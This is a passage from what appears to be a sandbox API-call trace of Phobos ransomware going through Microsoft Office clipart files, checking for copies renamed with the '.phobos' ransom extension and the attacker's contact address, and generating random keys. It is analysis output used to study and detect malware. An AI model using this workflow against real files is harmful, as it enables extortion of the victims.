office\\root\\clipart\\pub60cor\\j0152892.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.215] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=10668) returned 1 [0151.215] CloseHandle (hObject=0x564) returned 1 [0151.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf")) returned 0x220 [0151.215] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.215] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.216] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=11348) returned 1 [0151.216] CloseHandle (hObject=0x564) returned 1 [0151.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf")) returned 0x220 [0151.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.216] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.217] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4496) returned 1 [0151.217] CloseHandle (hObject=0x564) returned 1 [0151.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf")) returned 0x220 [0151.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.218] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.219] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=33068) returned 1 [0151.219] CloseHandle (hObject=0x564) returned 1 [0151.219] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf")) returned 0x220 [0151.219] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.219] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.219] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.219] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.221] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1912) returned 1 [0151.221] CloseHandle (hObject=0x564) returned 1 [0151.221] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf")) returned 0x220 [0151.221] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.221] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.222] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.222] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.222] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7848) returned 1 [0151.222] CloseHandle (hObject=0x564) returned 1 [0151.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf")) returned 0x220 [0151.223] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.223] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.223] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.223] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.223] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8136) returned 1 [0151.224] CloseHandle (hObject=0x564) returned 1 [0151.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf")) returned 0x220 [0151.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.229] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.230] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.231] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8880) returned 1 [0151.231] CloseHandle (hObject=0x564) returned 1 [0151.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf")) returned 0x220 [0151.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153093.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.231] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.232] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.233] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3704) returned 1 [0151.233] CloseHandle (hObject=0x564) returned 1 [0151.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf")) returned 0x220 [0151.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.233] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.235] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3008) returned 1 [0151.235] CloseHandle (hObject=0x564) returned 1 [0151.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf")) returned 0x220 [0151.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.235] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153273.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.236] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=20096) returned 1 [0151.236] CloseHandle (hObject=0x564) returned 1 [0151.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153273.wmf")) returned 0x220 [0151.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153273.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153273.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.237] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.241] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=36620) returned 1 [0151.241] CloseHandle (hObject=0x564) returned 1 [0151.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf")) returned 0x220 [0151.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.241] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153299.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.241] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.241] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.242] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=30800) returned 1 [0151.242] CloseHandle (hObject=0x564) returned 1 [0151.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf")) returned 0x220 [0151.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.243] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.244] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=38488) returned 1 [0151.244] CloseHandle (hObject=0x564) returned 1 [0151.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf")) returned 0x220 [0151.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.244] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.245] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.247] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=16952) returned 1 [0151.247] CloseHandle (hObject=0x564) returned 1 [0151.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf")) returned 0x220 [0151.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153313.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.248] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.248] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=17508) returned 1 [0151.249] CloseHandle (hObject=0x564) returned 1 [0151.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf")) returned 0x220 [0151.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.249] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0151.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.251] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=34256) returned 1 [0151.251] CloseHandle (hObject=0x564) returned 1 [0151.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf")) returned 0x220 [0151.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 